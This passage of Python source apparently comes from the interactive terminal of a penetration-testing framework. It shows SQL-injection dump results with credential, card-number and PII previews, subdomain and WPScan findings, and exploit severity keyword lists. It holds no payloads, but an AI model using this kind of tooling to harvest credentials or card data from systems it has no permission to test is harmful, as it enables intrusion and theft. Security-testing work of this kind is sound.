        click.echo("│" + click.style(" SQL INJECTION EXPLOIT DATA ".center(width - 2), bold=True, fg='red') + "│")
        click.echo("└" + "─" * (width - 2) + "┘")

        # Target info bar
        url = inj.get('url', 'N/A')
        param = inj.get('parameter', 'N/A')
        dbms = inj.get('dbms') or (list(db_to_dbms.values())[0] if db_to_dbms else 'Unknown')
        click.echo()
        click.echo(f"  {click.style('Target:', fg='cyan')} {url}")
        click.echo(f"  {click.style('Vulnerable:', fg='red', bold=True)} {param} parameter  |  {click.style('DBMS:', fg='cyan')} {dbms}")
        click.echo()

        if current_view == 'overview':
            _sqli_detail_overview(inj, all_databases, all_tables, all_columns, db_to_dbms, all_dumped, console)

            # Menu
            click.echo()
            click.echo("─" * width)
            options = []
            if all_dumped:
                # List available tables with numbers
                table_keys = list(all_dumped.keys())
                click.echo(click.style("  BROWSE EXTRACTED DATA:", bold=True))
                for i, key in enumerate(table_keys, 1):
                    data = all_dumped[key]
                    row_count = data.get('row_count', len(data.get('rows', [])))
                    # Highlight credential tables
                    if any(x in key.lower() for x in ['user', 'account', 'login', 'credential', 'password', 'card', 'payment']):
                        click.echo(f"    [{i}] {click.style(key, fg='red', bold=True)} ({row_count} rows) 🔐")
                    else:
                        click.echo(f"    [{i}] {key} ({row_count} rows)")
                options.extend([str(i) for i in range(1, len(table_keys) + 1)])

            click.echo()
            click.echo(f"    [t] View all tables structure")
            click.echo(f"    [q] Back")
            click.echo()

            try:
                choice = click.prompt("  Select", default='q').strip().lower()

                if choice == 'q':
                    return
                elif choice == 't':
                    current_view = 'tables'
                elif choice.isdigit() and all_dumped:
                    idx = int(choice) - 1
                    table_keys = list(all_dumped.keys())
                    if 0 <= idx < len(table_keys):
                        current_view = f'data:{table_keys[idx]}'
            except (KeyboardInterrupt, click.Abort):
                return

        elif current_view == 'tables':
            _sqli_detail_tables(all_databases, all_tables, all_columns, db_to_dbms, all_dumped, console)

            click.echo()
            click.echo("─" * width)
            click.echo(f"    [b] Back to overview")
            click.echo()

            try:
                choice = click.prompt("  Select", default='b').strip().lower()
                if choice == 'b':
                    current_view = 'overview'
            except (KeyboardInterrupt, click.Abort):
                return

        elif current_view.startswith('data:'):
            table_key = current_view[5:]
            if table_key in all_dumped:
                _sqli_detail_data_table(table_key, all_dumped[table_key], console, width)

            click.echo()
            click.echo("─" * width)
            click.echo(f"    [b] Back to overview")
            click.echo()

            try:
                choice = click.prompt("  Select", default='b').strip().lower()
                if choice == 'b':
                    current_view = 'overview'
            except (KeyboardInterrupt, click.Abort):
                return


def _sqli_detail_overview(inj, all_databases, all_tables, all_columns, db_to_dbms, all_dumped, console):
    """Show overview of SQLi exploitation results."""
    from rich.table import Table

    # Quick stats
    total_tables_dumped = len(all_dumped)
    total_rows = sum(d.get('row_count', len(d.get('rows', []))) for d in all_dumped.values())

    # Check for high-value data
    has_credentials = any('user' in k.lower() or 'account' in k.lower() or 'login' in k.lower()
                          for k in all_dumped.keys())
    has_cards = any('card' in k.lower() or 'payment' in k.lower() or 'credit' in k.lower()
                    for k in all_dumped.keys())
    has_pii = any('address' in k.lower() or 'personal' in k.lower() or 'customer' in k.lower()
                  for k in all_dumped.keys())

    # Impact summary
    click.echo(click.style("  📊 EXPLOITATION SUMMARY", bold=True, fg='green'))
    click.echo()

    if total_tables_dumped > 0:
        click.echo(f"    Tables Extracted: {click.style(str(total_tables_dumped), bold=True, fg='green')}")
        click.echo(f"    Total Records:    {click.style(str(total_rows), bold=True, fg='green')}")
        click.echo()

        # Data classification
        click.echo(click.style("    Data Classification:", bold=True))
        if has_credentials:
            click.echo(f"      🔐 {click.style('CREDENTIALS FOUND', fg='red', bold=True)} - User accounts with passwords")
        if has_cards:
            click.echo(f"      💳 {click.style('PAYMENT DATA FOUND', fg='red', bold=True)} - Credit card information")
        if has_pii:
            click.echo(f"      👤 {click.style('PII FOUND', fg='yellow', bold=True)} - Personal addresses/information")
        if not (has_credentials or has_cards or has_pii):
            click.echo(f"      📄 Application data extracted")
    else:
        click.echo(f"    {click.style('No data extracted yet', fg='yellow')}")
        click.echo()
        click.echo("    💡 Tables discovered but not yet dumped. Select a table to dump data.")

    click.echo()

    # Show credential preview if available
    if has_credentials:
        click.echo(click.style("  🔑 CREDENTIALS PREVIEW", bold=True, fg='red'))
        click.echo()

        for table_key, data in all_dumped.items():
            if any(x in table_key.lower() for x in ['user', 'account', 'login']):
                rows = data.get('rows', [])
                columns = data.get('columns', [])

                # Find credential columns
                user_col = next((c for c in columns if any(x in c.lower() for x in ['username', 'user', 'login', 'email'])), None)
                pass_col = next((c for c in columns if any(x in c.lower() for x in ['password', 'passwd', 'hash', 'pwd'])), None)
                email_col = next((c for c in columns if 'email' in c.lower()), None)

                if user_col or email_col:
                    # Show first 5 credentials
                    table = Table(show_header=True, header_style="bold red", box=None, padding=(0, 2))
                    if user_col:
                        table.add_column("Username", style="yellow")
                    if email_col and email_col != user_col:
                        table.add_column("Email", style="cyan")
                    if pass_col:
                        table.add_column("Password/Hash", style="red")

                    for row in rows[:5]:
                        row_data = []
                        if user_col:
                            val = str(row.get(user_col, ''))[:30]
                            row_data.append(val if val and val not in ['<blank>', 'None', 'NULL'] else '-')
                        if email_col and email_col != user_col:
                            val = str(row.get(email_col, ''))[:35]
                            row_data.append(val if val else '-')
                        if pass_col:
                            val = str(row.get(pass_col, ''))[:40]
                            row_data.append(val if val else '-')
                        if row_data:
                            table.add_row(*row_data)

                    console.print(table)

                    if len(rows) > 5:
                        click.echo(f"    ... and {len(rows) - 5} more credentials")
                    click.echo()
                break  # Only show first credential table in preview

    # Show card preview if available
    if has_cards:
        click.echo(click.style("  💳 PAYMENT DATA PREVIEW", bold=True, fg='red'))
        click.echo()

        for table_key, data in all_dumped.items():
            if any(x in table_key.lower() for x in ['card', 'payment', 'credit']):
                rows = data.get('rows', [])
                columns = data.get('columns', [])

                # Find card columns
                name_col = next((c for c in columns if any(x in c.lower() for x in ['name', 'holder', 'fullname'])), None)
                card_col = next((c for c in columns if any(x in c.lower() for x in ['cardnum', 'card_number', 'ccnumber', 'number'])), None)
                exp_col = next((c for c in columns if any(x in c.lower() for x in ['exp', 'expir'])), None)

                table = Table(show_header=True, header_style="bold red", box=None, padding=(0, 2))
                if name_col:
                    table.add_column("Cardholder", style="yellow")
                if card_col:
                    table.add_column("Card Number", style="red")
                if exp_col:
                    table.add_column("Expiry", style="cyan")

                for row in rows[:5]:
                    row_data = []
                    if name_col:
                        row_data.append(str(row.get(name_col, '-'))[:25])
                    if card_col:
                        row_data.append(str(row.get(card_col, '-')))
                    if exp_col:
                        row_data.append(str(row.get(exp_col, '-')))
                    if row_data:
                        table.add_row(*row_data)

                console.print(table)

                if len(rows) > 5:
                    click.echo(f"    ... and {len(rows) - 5} more cards")
                click.echo()
                break

    # Show PII/address preview if available
    if has_pii:
        click.echo(click.style("  👤 PERSONAL DATA PREVIEW", bold=True, fg='yellow'))
        click.echo()

        for table_key, data in all_dumped.items():
            if any(x in table_key.lower() for x in ['address', 'personal', 'customer', 'profile']):
                rows = data.get('rows', [])
                columns = data.get('columns', [])

                # Find PII columns
                name_col = next((c for c in columns if any(x in c.lower() for x in ['name', 'fullname', 'full_name'])), None)
                city_col = next((c for c in columns if 'city' in c.lower()), None)
                country_col = next((c for c in columns if 'country' in c.lower()), None)
                address_col = next((c for c in columns if any(x in c.lower() for x in ['address', 'street'])), None)
                phone_col = next((c for c in columns if any(x in c.lower() for x in ['phone', 'mobile', 'tel'])), None)
                zip_col = next((c for c in columns if any(x in c.lower() for x in ['zip', 'postal'])), None)

                table = Table(show_header=True, header_style="bold yellow", box=None, padding=(0, 2))
                if name_col:
                    table.add_column("Name", style="yellow")
                if address_col:
                    table.add_column("Address", style="white")
                if city_col:
                    table.add_column("City", style="cyan")
                if country_col:
                    table.add_column("Country", style="cyan")
                if zip_col:
                    table.add_column("ZIP", style="dim")
                if phone_col:
                    table.add_column("Phone", style="green")

                for row in rows[:5]:
                    row_data = []
                    if name_col:
                        row_data.append(str(row.get(name_col, '-'))[:25])
                    if address_col:
                        row_data.append(str(row.get(address_col, '-'))[:30])
                    if city_col:
                        row_data.append(str(row.get(city_col, '-'))[:15])
                    if country_col:
                        row_data.append(str(row.get(country_col, '-'))[:15])
                    if zip_col:
                        row_data.append(str(row.get(zip_col, '-'))[:10])
                    if phone_col:
                        row_data.append(str(row.get(phone_col, '-'))[:15])
                    if row_data:
                        table.add_row(*row_data)

                console.print(table)

                if len(rows) > 5:
                    click.echo(f"    ... and {len(rows) - 5} more records")
                click.echo()
                break


def _sqli_detail_tables(all_databases, all_tables, all_columns, db_to_dbms, all_dumped, console):
    """Show database structure overview."""
    from rich.tree import Tree
    from rich.text import Text

    click.echo(click.style("  📁 DATABASE STRUCTURE", bold=True, fg='cyan'))
    click.echo()

    if not all_databases and not all_tables:
        click.echo("    No database structure discovered yet.")
        click.echo("    💡 Run SQLMap with --tables to enumerate tables.")
        return

    # Build tree structure
    for db in sorted(all_databases) if all_databases else list(all_tables.keys()):
        dbms_type = db_to_dbms.get(db, 'SQLite')
        tables = all_tables.get(db, set())

        click.echo(f"  {click.style('📂 ' + db, bold=True, fg='cyan')} ({dbms_type})")

        if tables:
            sorted_tables = sorted(tables)
            for tbl in sorted_tables:
                table_key = f"{db}.{tbl}"
                cols = all_columns.get(table_key, set())

                # Check if this table has been dumped
                dumped_key = next((k for k in all_dumped.keys() if tbl in k), None)
                has_data = dumped_key is not None

                # Highlight interesting tables
                is_sensitive = any(x in tbl.lower() for x in ['user', 'account', 'password', 'card', 'payment', 'credential', 'admin', 'secret'])

                if has_data:
                    row_count = all_dumped[dumped_key].get('row_count', 0)
                    status = click.style(f"✓ {row_count} rows", fg='green')
                else:
                    status = click.style("○ not dumped", fg='yellow', dim=True)

                if is_sensitive:
                    click.echo(f"    ├─ {click.style(tbl, fg='red', bold=True)} ({len(cols)} cols) {status}")
                else:
                    click.echo(f"    ├─ {tbl} ({len(cols)} cols) {status}")

                # Show columns for dumped tables
                if has_data and cols:
                    col_list = sorted(cols)[:8]
                    col_str = ", ".join(col_list)
                    if len(cols) > 8:
                        col_str += f" +{len(cols) - 8} more"
                    click.echo(f"    │   └─ {click.style(col_str, dim=True)}")

        click.echo()


def _sqli_detail_data_table(table_key: str, data: dict, console, width: int):
    """Show full data for a specific table."""
    from rich.table import Table

    rows = data.get('rows', [])
    columns = data.get('columns', [])
    row_count = data.get('row_count', len(rows))

    click.echo(click.style(f"  📋 TABLE: {table_key}", bold=True, fg='green'))
    click.echo(f"     {row_count} records  |  {len(columns)} columns")
    click.echo()

    if not rows:
        click.echo("    No data available.")
        return

    # Determine which columns to show based on width
    # Prioritize interesting columns
    priority_patterns = ['id', 'username', 'user', 'email', 'password', 'passwd', 'hash',
                        'name', 'fullname', 'card', 'phone', 'address', 'role', 'admin']

    priority_cols = []
    other_cols = []
    for col in columns:
        if any(p in col.lower() for p in priority_patterns):
            priority_cols.append(col)
        else:
            other_cols.append(col)

    # Limit to fit terminal
    max_cols = min(8, len(columns))
    display_cols = (priority_cols + other_cols)[:max_cols]

    # Create table
    table = Table(show_header=True, header_style="bold cyan", box=DesignSystem.TABLE_BOX,
                  padding=(0, 1), expand=True)

    # Calculate column widths
    col_width = max(15, (width - 10) // max_cols)

    for col in display_cols:
        # Highlight sensitive columns
        if any(x in col.lower() for x in ['password', 'passwd', 'hash', 'secret', 'card']):
            table.add_column(col, style="red", max_width=col_width, overflow="ellipsis")
        elif any(x in col.lower() for x in ['username', 'user', 'email', 'login']):
            table.add_column(col, style="yellow", max_width=col_width, overflow="ellipsis")
        else:
            table.add_column(col, max_width=col_width, overflow="ellipsis")

    # Add rows (limit to 20 for display)
    display_rows = rows[:20]
    for row in display_rows:
        row_data = []
        for col in display_cols:
            val = str(row.get(col, ''))
            # Handle blank/null values
            if val in ['<blank>', 'None', 'NULL', '']:
                val = '-'
            row_data.append(val)
        table.add_row(*row_data)

    console.print(table)

    if len(rows) > 20:
        click.echo()
        click.echo(f"    ... showing 20 of {len(rows)} rows")

    # Show hidden columns
    if len(columns) > max_cols:
        hidden = columns[max_cols:]
        click.echo()
        click.echo(f"    Hidden columns: {', '.join(hidden[:10])}")
        if len(hidden) > 10:
            click.echo(f"                    +{len(hidden) - 10} more")


def view_subdomains(engagement_id: int):
    """View DNSRecon/Subfinder discovered subdomains."""
    from rich.console import Console
    from rich.table import Table
    from souleyez.storage.hosts import HostManager
    
    console = Console()
    hm = HostManager()
    
    while True:
        DesignSystem.clear_screen()
        click.echo("\n" + "=" * 70)
        click.echo(click.style("DISCOVERED SUBDOMAINS", bold=True, fg='cyan'))
        click.echo("=" * 70)
        
        # Get hosts discovered by dnsrecon
        hosts_dnsrecon = hm.search_hosts(engagement_id, tags='dnsrecon')
        
        # Combine and deduplicate by hostname
        all_hosts = {}
        for host in hosts_dnsrecon:
            hostname = host.get('hostname', host.get('ip_address', ''))
            if hostname and hostname not in all_hosts:
                all_hosts[hostname] = host
        
        hosts = list(all_hosts.values())
        
        if not hosts:
            console.print("\n[yellow]No subdomains discovered yet.[/yellow]")
            console.print("[dim]💡 Run DNSRecon from the Reconnaissance phase to discover[/dim]")
            console.print("[dim]   subdomains for your target domain.[/dim]")
            click.pause()
            return
        
        console.print(f"\n[bold]Found {len(hosts)} subdomain(s)[/bold]")
        
        # Create table
        table = Table(show_header=True, header_style="bold cyan", expand=True)
        table.add_column("ID", style="dim", width=6)
        table.add_column("Subdomain", style="cyan")
        table.add_column("IP Address", style="green")
        table.add_column("Status", width=10)
        table.add_column("Source", width=12)
        table.add_column("Services", width=10)
        
        for host in hosts:
            host_id = str(host.get('id', ''))
            subdomain = host.get('hostname', host.get('ip_address', 'N/A'))
            ip = host.get('ip_address', 'Unknown')
            status = host.get('status', 'unknown')
            source = host.get('source', 'unknown')
            
            # Count services for this host
            service_count = len(host.get('services', []))
            services_text = f"{service_count} service(s)" if service_count > 0 else "Not scanned"
            
            # Status color
            if status == 'up':
                status_text = f"[green]{status}[/green]"
            else:
                status_text = f"[dim]{status}[/dim]"
            
            table.add_row(host_id, subdomain, ip, status_text, source, services_text)
        
        console.print(table)
        
        console.print("\n[dim]💡 These subdomains were discovered by DNSRecon/Subfinder[/dim]")
        console.print("[dim]   Run nmap on these hosts to discover services[/dim]")
        
        click.pause()
        return


def view_wordpress_data(engagement_id: int):
    """View WPScan WordPress vulnerabilities with consistent UI pattern."""
    from souleyez.ui.interactive_selector import interactive_select
    from rich.console import Console
    from rich.table import Table
    from souleyez.storage.findings import FindingsManager

    console = Console()
    fm = FindingsManager()

    # Active filters
    filters = {
        'severity': None,
        'host': None
    }

    PAGE_SIZE = 20
    current_page = 1
    view_all = False
    selected_ids: set = set()

    while True:
        DesignSystem.clear_screen()
        width = get_terminal_width()
        click.echo("\n┌" + "─" * (width - 2) + "┐")
        click.echo("│" + click.style(" WPSCAN - WORDPRESS VULNERABILITIES ".center(width - 2), bold=True, fg='cyan') + "│")
        click.echo("└" + "─" * (width - 2) + "┘")

        # Get findings from wpscan
        all_findings = fm.list_findings(engagement_id)
        wpscan_findings = [f for f in all_findings if f.get('tool') == 'wpscan']

        # Apply filters
        filtered_findings = wpscan_findings
        if filters['severity']:
            filtered_findings = [f for f in filtered_findings if f.get('severity') == filters['severity']]
        if filters['host']:
            filtered_findings = [f for f in filtered_findings if filters['host'] in (f.get('affected_target') or '')]

        if not wpscan_findings:
            console.print("\n[yellow]No WordPress vulnerabilities found yet.[/yellow]")
            console.print("[dim]💡 Run WPScan from the Vulnerability Analysis phase to[/dim]")
            console.print("[dim]   scan WordPress sites for vulnerabilities.[/dim]")
            click.pause()
            return

        # Show active filters
        active_filters = []
        if filters['severity']:
            active_filters.append(f"severity: {filters['severity']}")
        if filters['host']:
            active_filters.append(f"host: {filters['host']}")

        if active_filters:
            click.echo()
            click.echo("  " + click.style("Active Filters: ", bold=True, fg='yellow') + ", ".join(active_filters))

        # Summary line with severity counts
        severity_counts = {}
        for finding in wpscan_findings:
            severity = finding.get('severity', 'unknown')
            severity_counts[severity] = severity_counts.get(severity, 0) + 1

        click.echo()
        summary_parts = [f"Total: {len(filtered_findings)}"]
        if severity_counts.get('critical', 0):
            summary_parts.append(click.style(f"Critical: {severity_counts['critical']}", fg='magenta'))
        if severity_counts.get('high', 0):
            summary_parts.append(click.style(f"High: {severity_counts['high']}", fg='red'))
        if severity_counts.get('medium', 0):
            summary_parts.append(click.style(f"Medium: {severity_counts['medium']}", fg='yellow'))
        if severity_counts.get('low', 0):
            summary_parts.append(click.style(f"Low: {severity_counts['low']}", fg='cyan'))
        click.echo("  " + "  |  ".join(summary_parts))
        click.echo()

        # Sort by severity
        severity_order = {'critical': 0, 'high': 1, 'medium': 2, 'low': 3, 'info': 4}
        sorted_findings = sorted(filtered_findings, key=lambda x: severity_order.get(x.get('severity', 'info'), 5))

        # Pagination
        total_pages = max(1, (len(sorted_findings) + PAGE_SIZE - 1) // PAGE_SIZE) if not view_all else 1
        if current_page > total_pages:
            current_page = total_pages

        if view_all:
            page_findings = sorted_findings
        else:
            start_idx = (current_page - 1) * PAGE_SIZE
            end_idx = start_idx + PAGE_SIZE
            page_findings = sorted_findings[start_idx:end_idx]

        # Build table
        table = Table(show_header=True, header_style="bold cyan", box=DesignSystem.TABLE_BOX, padding=(0, 1), expand=True)
        table.add_column("○", width=5, justify="center", no_wrap=True)
        table.add_column("#", width=5, justify="right")
        table.add_column("Severity", width=10)
        table.add_column("Title", no_wrap=False)
        table.add_column("Target", width=30)

        for idx, finding in enumerate(page_findings, start=(current_page - 1) * PAGE_SIZE + 1 if not view_all else 1):
            finding_id = finding.get('id')
            checkbox = '●' if finding_id in selected_ids else '○'
            severity = finding.get('severity', 'unknown')
            title = finding.get('title', 'No title')[:50]
            target = (finding.get('affected_target') or 'N/A')[:30]

            # Severity color (using standard colors)
            if severity == 'critical':
                severity_text = f"[magenta bold]{severity.upper()}[/magenta bold]"
            elif severity == 'high':
                severity_text = f"[red]{severity.upper()}[/red]"
            elif severity == 'medium':
                severity_text = f"[yellow]{severity.upper()}[/yellow]"
            elif severity == 'low':
                severity_text = f"[cyan]{severity.upper()}[/cyan]"
            else:
                severity_text = f"[bright_black]{severity}[/bright_black]"

            table.add_row(checkbox, str(idx), severity_text, title, target)

        console.print(table)

        # Pagination info
        if not view_all and total_pages > 1:
            click.echo()
            click.echo(f"  Page {current_page}/{total_pages}")

        # Selected count
        if selected_ids:
            click.echo()
            click.echo(f"  {click.style(f'✓ Selected: {len(selected_ids)} finding(s)', fg='cyan', bold=True)}")

        # TIP and menu
        click.echo()
        click.echo("  💡 TIP: Press 'i' for interactive mode")
        if not view_all and total_pages > 1:
            click.echo("  n/p: Next/Previous page")
        click.echo()
        click.echo("─" * width)
        click.echo()
        click.echo("  [v] View finding details")
        click.echo("  [t] Toggle - Toggle pagination")
        click.echo("  [f] Severity - Filter by severity level")
        click.echo("  [h] Host - Filter by target host")
        click.echo("  [c] Clear - Clear all filters")
        click.echo("  [q] Back")
        click.echo()

        try:
            choice = click.prompt("Select option", default="q", show_default=False).strip().lower()

            if choice == 'q':
                return
            elif choice == 'n':
                if current_page < total_pages:
                    current_page += 1
            elif choice == 'p':
                if current_page > 1:
                    current_page -= 1
            elif choice == 't':
                view_all = not view_all
                current_page = 1
            elif choice == 'v':
                # View finding details
                try:
                    row_num = click.prompt("  Enter finding # to view", type=int)
                    if 1 <= row_num <= len(sorted_findings):
                        finding = sorted_findings[row_num - 1]
                        _view_wpscan_finding_detail(finding, fm)
                    else:
                        click.echo(click.style("  Invalid finding number", fg='red'))
                        time.sleep(0.5)
                except (ValueError, click.Abort):
                    pass
            elif choice == 'f':
                filters['severity'] = _wpscan_filter_severity()
                current_page = 1
            elif choice == 'h':
                filters['host'] = _wpscan_filter_host(wpscan_findings)
                current_page = 1
            elif choice == 'c':
                filters = {'severity': None, 'host': None}
                current_page = 1
                click.echo(click.style("  ✓ Filters cleared", fg='green'))
                time.sleep(0.5)
            elif choice == 'i':
                _wpscan_select(sorted_findings, selected_ids)
                if selected_ids:
                    _wpscan_bulk_action_menu(sorted_findings, selected_ids, engagement_id, fm)

        except (KeyboardInterrupt, click.Abort):
            return


def _wpscan_filter_severity():
    """Prompt for severity filter."""
    click.echo("\nSelect severity:")
    severities = ['critical', 'high', 'medium', 'low', 'info']
    click.echo("  [q] Clear filter")
    for idx, sev in enumerate(severities, 1):
        click.echo(f"  [{idx}] {sev.capitalize()}")

    try:
        choice_input = click.prompt("Severity", type=str, default='q').strip()
        if choice_input == 'q':
            return None
        try:
            choice = int(choice_input)
            if 1 <= choice <= len(severities):
                return severities[choice - 1]
            return None
        except ValueError:
            return None
    except (KeyboardInterrupt, click.Abort):
        return None


def _wpscan_filter_host(findings: list):
    """Prompt for host filter."""
    # Get unique hosts
    hosts = sorted(set([f.get('affected_target') for f in findings if f.get('affected_target')]))

    if not hosts:
        click.echo(click.style("\nNo hosts found.", fg='yellow'))
        click.pause()
        return None

    click.echo("\nSelect target host:")
    click.echo("  [q] Clear filter")
    for idx, host in enumerate(hosts, 1):
        click.echo(f"  [{idx}] {host}")

    try:
        choice_input = click.prompt("Host", type=str, default='q').strip()
        if choice_input == 'q':
            return None
        try:
            choice = int(choice_input)
            if 1 <= choice <= len(hosts):
                return hosts[choice - 1]
            return None
        except ValueError:
            return None
    except (KeyboardInterrupt, click.Abort):
        return None


def _wpscan_select(findings: list, selected_ids: set):
    """Select WPScan findings using interactive selector."""
    from souleyez.ui.interactive_selector import interactive_select

    if not findings:
        click.echo(click.style("  No findings to select.", fg='yellow'))
        click.pause()
        return

    columns = [
        {'name': 'ID', 'width': 6, 'key': 'id', 'justify': 'right'},
        {'name': 'Severity', 'width': 10, 'key': 'severity'},
        {'name': 'Title', 'key': 'title'},
        {'name': 'Target', 'width': 25, 'key': 'affected_target'},
    ]

    def format_cell(item: dict, key: str) -> str:
        value = item.get(key)
        if key == 'severity':
            sev = value or 'unknown'
            if sev == 'critical':
                return f'[magenta bold]{sev.upper()}[/magenta bold]'
            elif sev == 'high':
                return f'[red]{sev.upper()}[/red]'
            elif sev == 'medium':
                return f'[yellow]{sev.upper()}[/yellow]'
            elif sev == 'low':
                return f'[cyan]{sev.upper()}[/cyan]'
            return f'[bright_black]{sev}[/bright_black]'
        if key == 'title':
            return (value or 'No title')[:45]
        if value is None:
            return '-'
        return str(value)[:25] if key == 'affected_target' else str(value)

    interactive_select(
        items=findings,
        columns=columns,
        selected_ids=selected_ids,
        get_id=lambda f: f.get('id'),
        title='SELECT WPSCAN FINDINGS',
        format_cell=format_cell
    )


def _wpscan_bulk_action_menu(findings: list, selected_ids: set, engagement_id: int, fm):
    """Show inline action menu for selected WPScan findings."""
    click.echo()
    click.echo(f"  Selected: {len(selected_ids)} finding(s)")
    click.echo("    [v] View first selected")
    click.echo("    [e] Export selected")
    click.echo("    [q] Back")

    try:
        action = click.prompt("  Select option", default='q', show_default=False).strip().lower()

        if action == 'v' and selected_ids:
            first_id = next(iter(selected_ids))
            finding = next((f for f in findings if f.get('id') == first_id), None)
            if finding:
                _view_wpscan_finding_detail(finding, fm)
        elif action == 'e':
            click.echo(click.style("  Export functionality - coming soon", fg='yellow'))
            click.pause()
    except (KeyboardInterrupt, click.Abort):
        pass


def _view_wpscan_finding_detail(finding: dict, fm):
    """Show detailed view for a WPScan finding."""
    from rich.console import Console
    from rich.panel import Panel

    console = Console()
    DesignSystem.clear_screen()

    width = get_terminal_width()
    click.echo("\n┌" + "─" * (width - 2) + "┐")
    click.echo("│" + click.style(" WPSCAN FINDING DETAILS ".center(width - 2), bold=True, fg='cyan') + "│")
    click.echo("└" + "─" * (width - 2) + "┘")
    click.echo()

    # Severity badge
    severity = finding.get('severity', 'unknown')
    if severity == 'critical':
        sev_color = 'magenta'
    elif severity == 'high':
        sev_color = 'red'
    elif severity == 'medium':
        sev_color = 'yellow'
    elif severity == 'low':
        sev_color = 'cyan'
    else:
        sev_color = 'bright_black'

    console.print(f"  [{sev_color} bold]{severity.upper()}[/{sev_color} bold]  {finding.get('title', 'No title')}")
    click.echo()

    # Details
    click.echo(f"  {click.style('Target:', bold=True)} {finding.get('affected_target', 'N/A')}")
    click.echo(f"  {click.style('Finding ID:', bold=True)} {finding.get('id', 'N/A')}")
    click.echo()

    # Description
    description = finding.get('description', '')
    if description:
        click.echo(f"  {click.style('Description:', bold=True)}")
        for line in description.split('\n')[:10]:
            click.echo(f"    {line[:80]}")
        click.echo()

    # References
    references = finding.get('references', '')
    if references:
        click.echo(f"  {click.style('References:', bold=True)}")
        for ref in references.split('\n')[:5]:
            if ref.strip():
                click.echo(f"    • {ref.strip()[:70]}")
        click.echo()

    # Remediation
    remediation = finding.get('remediation', '')
    if remediation:
        click.echo(f"  {click.style('Remediation:', bold=True)}")
        for line in remediation.split('\n')[:5]:
            click.echo(f"    {line[:80]}")
        click.echo()

    click.pause("  Press any key to return...")


def _infer_exploit_severity(title: str, exploit_type: str) -> tuple:
    """
    Infer severity level from exploit title and type.
    Returns (severity_name, severity_emoji, severity_color).
    """
    title_lower = title.lower()
    type_lower = exploit_type.lower()

    # Critical indicators
    critical_keywords = [
        'rce', 'remote code execution', 'command injection', 'code injection',
        'unauthenticated', 'pre-auth', 'arbitrary code', 'shell upload',
        'backdoor', 'root', 'privilege escalation to root'
    ]

    # High indicators
    high_keywords = [
        'sql injection', 'sqli', 'authentication bypass', 'auth bypass',
        'privilege escalation', 'arbitrary file', 'file upload', 'directory traversal',
        'path traversal', 'lfi', 'rfi', 'xxe', 'deserialization'
    ]

    # Medium indicators
    medium_keywords = [
        'xss', 'cross-site scripting', 'csrf', 'cross-site request',
        'information disclosure', 'bypass', 'open redirect',
        'sensitive data', 'weak'
    ]

    # Low indicators
    low_keywords = [
        'dos', 'denial of service', 'poc', 'proof of concept',
        'memory leak', 'null pointer'
    ]

    # Check for critical
    if any(keyword in title_lower or keyword in type_lower for keyword in critical_keywords):
        return ('CRITICAL', '🔴', 'red')

    # Check for high
    if any(keyword in title_lower or keyword in type_lower for keyword in high_keywords):
        return ('HIGH', '🟠', 'yellow')

    # Check for low
    if any(keyword in title_lower or keyword in type_lower for keyword in low_keywords):
        return ('LOW', '🟢', 'white')

    # Default to medium
    return ('MEDIUM', '🟡', 'white')


def _exploits_bulk_action_menu(engagement_id: int, exploits: list, selected_ids: set) -> str:
    """
    Show bulk action menu for selected exploits.

    Returns:
        'clear' to clear selection, 'continue' otherwise
    """
    from rich.console import Console
    console = Console()

    # Get selected exploits
    selected_exploits = [e for e in exploits if e.get('id') in selected_ids]

    if not selected_exploits:
        return 'continue'

    console.print()
    console.print(f"  [bold]Selected: {len(selected_exploits)} exploit(s)[/bold]")
    console.print("    \\[v] View exploit details")
    console.print("    \\[e] Export selected to CSV")
    console.print("    \\[d] Delete selected")
    console.print("    \\[c] Clear selection")
    console.print("    \\[q] Back")

    try:
        action = click.prompt("  Select option", default='q', show_default=False).strip().lower()

        if action == 'v':
            # View details of selected exploits
            DesignSystem.clear_screen()
            width = DesignSystem.get_terminal_width()

            click.echo("\n┌" + "─" * (width - 2) + "┐")
            click.echo("│" + click.style(" SELECTED EXPLOITS ".center(width - 2), bold=True, fg='cyan') + "│")
            click.echo("└" + "─" * (width - 2) + "┘")
            click.echo()

            for exploit in selected_exploits:
                severity_emoji = exploit.get('severity_emoji', '🟡')
                severity = exploit.get('severity', 'MEDIUM')
                severity_color = exploit.get('severity_color', 'yellow')

                click.echo(f"  {severity_emoji} " + click.style(exploit.get('title', 'Unknown'), bold=True))
                click.echo(f"     EDB-ID: {exploit.get('edb_id', 'N/A')}  |  Platform: {exploit.get('platform', 'N/A')}  |  Type: {exploit.get('type', 'N/A')}")
                click.echo(f"     URL: " + click.style(exploit.get('url', 'N/A'), fg='blue'))
                if exploit.get('ip_address'):
                    click.echo(f"     🎯 Target: {exploit['ip_address']}:{exploit.get('port', '')}")
                click.echo()

            click.pause()
            return 'continue'

        elif action == 'e':
            # Export selected to CSV
            import csv
            from pathlib import Path
            from datetime import datetime

            output_dir = Path.home() / '.souleyez' / 'exports'
            output_dir.mkdir(parents=True, exist_ok=True)

            timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
            filename = f"exploits_selected_{timestamp}.csv"
            filepath = output_dir / filename

            with open(filepath, 'w', newline='', encoding='utf-8') as f:
                writer = csv.writer(f)
                writer.writerow([
                    'Severity', 'EDB-ID', 'Date Published', 'Platform', 'Type',
                    'Title', 'URL', 'Search Term', 'IP Address', 'Port'
                ])
                for exploit in selected_exploits:
                    writer.writerow([
                        exploit.get('severity', 'MEDIUM'),
                        exploit.get('edb_id', 'N/A'),
                        exploit.get('date_published', ''),
                        exploit.get('platform', ''),
                        exploit.get('type', ''),
                        exploit.get('title', ''),
                        exploit.get('url', ''),
                        exploit.get('search_term', ''),
                        exploit.get('ip_address', ''),
                        exploit.get('port', '')
                    ])

            console.print(f"\n  [green]✓ Exported {len(selected_exploits)} exploits to:[/green]")
            console.print(f"    {filepath}")
            click.pause()
            return 'clear'

        elif action == 'd':
            # Delete selected
            console.print()
            console.print(f"  [yellow bold]⚠️  About to delete {len(selected_exploits)} exploit(s)[/yellow bold]")
            for exploit in selected_exploits[:5]:
                console.print(f"     - {exploit.get('title', 'Unknown')[:60]}")
            if len(selected_exploits) > 5:
                console.print(f"     ... and {len(selected_exploits) - 5} more")

            if click.confirm("\n  Are you sure?", default=False):
                from souleyez.storage.exploits import delete_exploits_by_ids
                exploit_ids = [e['id'] for e in selected_exploits]
                deleted_count = delete_exploits_by_ids(exploit_ids)
                console.print(f"\n  [green]✓ Deleted {deleted_count} exploit(s)[/green]")
                click.pause()
                return 'clear'

        elif action == 'c':
